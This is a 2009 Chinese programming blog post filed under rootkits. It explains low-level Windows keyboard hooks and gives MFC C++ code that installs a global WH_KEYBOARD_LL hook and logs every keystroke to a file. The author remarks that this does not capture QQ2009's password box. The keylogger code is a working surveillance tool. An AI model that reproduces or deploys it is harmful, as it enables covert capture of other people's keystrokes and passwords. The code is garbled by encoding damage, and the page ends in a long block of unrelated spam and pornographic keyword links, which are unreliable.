• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            S.l.e!ep.¢%

            像打了激速一樣,以四倍的速度運(yùn)轉(zhuǎn),開心的工作
            簡單、開放、平等的公司文化;尊重個性、自由與個人價值;
            posts - 1098, comments - 335, trackbacks - 0, articles - 1
              C++博客 :: 首頁 :: 新隨筆 :: 聯(lián)系 :: 聚合  :: 管理

            About ShutDown of Windows(三)

            Posted on 2009-11-17 09:12 S.l.e!ep.¢% 閱讀(188) 評論(0)  編輯 收藏 引用 所屬分類: RootKit
            接著 About ShutDown of Windows(二) ?繼續(xù),將代碼繼續(xù)改進(jìn)

            HHOOK?g_Hook;

            LRESULT?CALLBACK?MyKeyHook(
            int?code,?WPARAM?wParam,?LPARAM?lParam)
            {
            #if?(_WIN32_WINNT?<?0x0400)
            /*
            ?*?Structure?used?by?WH_KEYBOARD_LL
            ?
            */
            typedef?
            struct?tagKBDLLHOOKSTRUCT?{
            ????DWORD???vkCode;
            ????DWORD???scanCode;
            ????DWORD???flags;
            ????DWORD???time;
            ????DWORD???dwExtraInfo;
            }?KBDLLHOOKSTRUCT,?FAR?
            *LPKBDLLHOOKSTRUCT,?*PKBDLLHOOKSTRUCT;
            #endif

            ????PKBDLLHOOKSTRUCT?kbDLLHOOK?
            =?(PKBDLLHOOKSTRUCT)lParam;
            ????
            ????
            const?char?*info?=?NULL;
            ????
            ????
            if?(wParam?==?WM_KEYDOWN)
            ????????info?
            =?"key?down";????
            ????
            else?if?(wParam?==?WM_KEYUP)
            ????????info?
            =?"key?up";
            ????
            else?if?(wParam?==?WM_SYSKEYDOWN)
            ????????info?
            =?"sys?key?down";????
            ????
            else?if?(wParam?==?WM_SYSKEYUP)
            ????????info?
            =?"sys?key?up";

            ????FILE
            *?f?=?fopen("hook.txt",?"a+");

            ????CString?strLog;
            ????strLog.Format(
            "%s?-?vkCode?[%04x],?[%c]?scanCode?[%04x]\n",?info,?kbDLLHOOK->vkCode,?kbDLLHOOK->vkCode,?kbDLLHOOK->scanCode);

            ????fwrite(strLog,?
            1,?strLog.GetLength(),?f);
            ????fclose(f);

            ????
            //?always?call?next?hook
            ????return?CallNextHookEx(g_Hook,?code,?wParam,?lParam);
            }??????

            BOOL?CHookTestDlg::OnInitDialog()
            {
            ????CDialog::OnInitDialog();

            ????
            //?Add?"About"?menu?item?to?system?menu.

            ????
            //?IDM_ABOUTBOX?must?be?in?the?system?command?range.
            ????ASSERT((IDM_ABOUTBOX?&?0xFFF0)?==?IDM_ABOUTBOX);
            ????ASSERT(IDM_ABOUTBOX?
            <?0xF000);

            ????CMenu
            *?pSysMenu?=?GetSystemMenu(FALSE);
            ????
            if?(pSysMenu?!=?NULL)
            ????{
            ????????CString?strAboutMenu;
            ????????strAboutMenu.LoadString(IDS_ABOUTBOX);
            ????????
            if?(!strAboutMenu.IsEmpty())
            ????????{
            ????????????pSysMenu
            ->AppendMenu(MF_SEPARATOR);
            ????????????pSysMenu
            ->AppendMenu(MF_STRING,?IDM_ABOUTBOX,?strAboutMenu);
            ????????}
            ????}

            ????
            //?Set?the?icon?for?this?dialog.??The?framework?does?this?automatically
            ????
            //??when?the?application's?main?window?is?not?a?dialog
            ????SetIcon(m_hIcon,?TRUE);????????????//?Set?big?icon
            ????SetIcon(m_hIcon,?FALSE);????????//?Set?small?icon
            ????
            ????
            //?TODO:?Add?extra?initialization?here
            #ifndef?WH_KEYBOARD_LL
            ????
            #define?WH_KEYBOARD_LL?13
            #endif
            ????
            ????g_Hook?
            =?SetWindowsHookEx(WH_KEYBOARD_LL,?MyKeyHook,?AfxGetApp()->m_hInstance,?0);
            ????
            ????
            if(?g_Hook?==?NULL?)
            ????????AfxMessageBox(
            "Failed?to?Set?Hook");
            ????
            ????
            return?TRUE;??//?return?TRUE??unless?you?set?the?focus?to?a?control
            }

            已經(jīng)實(shí)現(xiàn)了HOOK鍵盤消息(題外話:對于普通的程序確實(shí)可行,但對于QQ2009的PwdEdit顯示出來的東西是不對的,明顯QQ2009的PwdEdit對消息加密過)

            用 SysCheck 工具查看,這個EXE也并沒有注入到其它進(jìn)程

            MSDN的解釋
            WH_KEYBOARD_LL
            Windows NT/2000/XP: Installs a hook procedure that monitors low-level keyboard input events. For more information, see the LowLevelKeyboardProc hook procedure.

            If the input comes from a call to keybd_event, the input was "injected". However, the WH_KEYBOARD_LL hook is not injected into another process. Instead, the context switches back to the process that installed the hook and it is called in its original context. Then the context switches back to the application that generated the event.

            ???????? 一般情況下,全局消息鉤子要依賴于一個DLL才能夠正常工作。

            但實(shí)際上不是這樣的。有某些全局鉤子可以不依賴于任何DLL而正常工作的。這些鉤子包括,WH_JOURNALPLAYBACK,WH_JOURNALRECORD,WH_KEYBOARD_LL,WH_MOUSE_LL。為什么這些鉤子可以不依賴于DLL而正常工作呢?我們可以從MSDN中得到答案,MSDN中對于這四種鉤子都這樣的描述“This hook is called in the context of the thread that installed it.”,翻譯成中文意思是鉤子函數(shù)的調(diào)用是在安裝鉤子的線程上下文中進(jìn)行的,說得更明白些,意思就是這些鉤子是在哪個線程當(dāng)中安裝的,其鉤子函數(shù)就在哪個線程中執(zhí)行。所以使用這四種鉤子是達(dá)不到代碼注入的效果的,當(dāng)然也就可以不依賴于任何DLL了。MSDN中只對個別鉤子指出了必須還是沒有必要使用DLL。



            色播久久人人爽人人爽人人片AV| 久久99精品久久久久久水蜜桃| 亚洲香蕉网久久综合影视 | 中文精品久久久久国产网址| 久久香蕉一级毛片| 午夜精品久久久久9999高清| 性欧美大战久久久久久久久 | 久久精品国产亚洲精品| 亚洲日本va午夜中文字幕久久| 狠狠精品久久久无码中文字幕| 97久久综合精品久久久综合| 久久精品国产亚洲Aⅴ蜜臀色欲| 久久久久久久精品成人热色戒| 久久99国产精品久久99果冻传媒| 午夜精品久久影院蜜桃| 久久99免费视频| 欧洲精品久久久av无码电影| 免费一级做a爰片久久毛片潮| 久久精品99久久香蕉国产色戒| 一本色道久久综合狠狠躁篇| 91久久精品电影| 久久精品国产亚洲av麻豆小说 | 国产精品亚洲综合久久| 欧美精品一区二区精品久久| 中文字幕日本人妻久久久免费| 久久精品无码一区二区三区日韩| 91精品国产高清91久久久久久| 天天爽天天狠久久久综合麻豆 | 国产精品久久久久久搜索| 久久国产劲爆AV内射—百度| 性做久久久久久久久| 青青草原综合久久大伊人导航| 成人午夜精品久久久久久久小说| 久久精品aⅴ无码中文字字幕重口| 久久天天躁狠狠躁夜夜不卡| 亚洲国产精品无码久久九九| 久久久亚洲精品蜜桃臀| 亚洲国产高清精品线久久| 久久免费视频一区| 97精品伊人久久大香线蕉| 中文字幕久久波多野结衣av|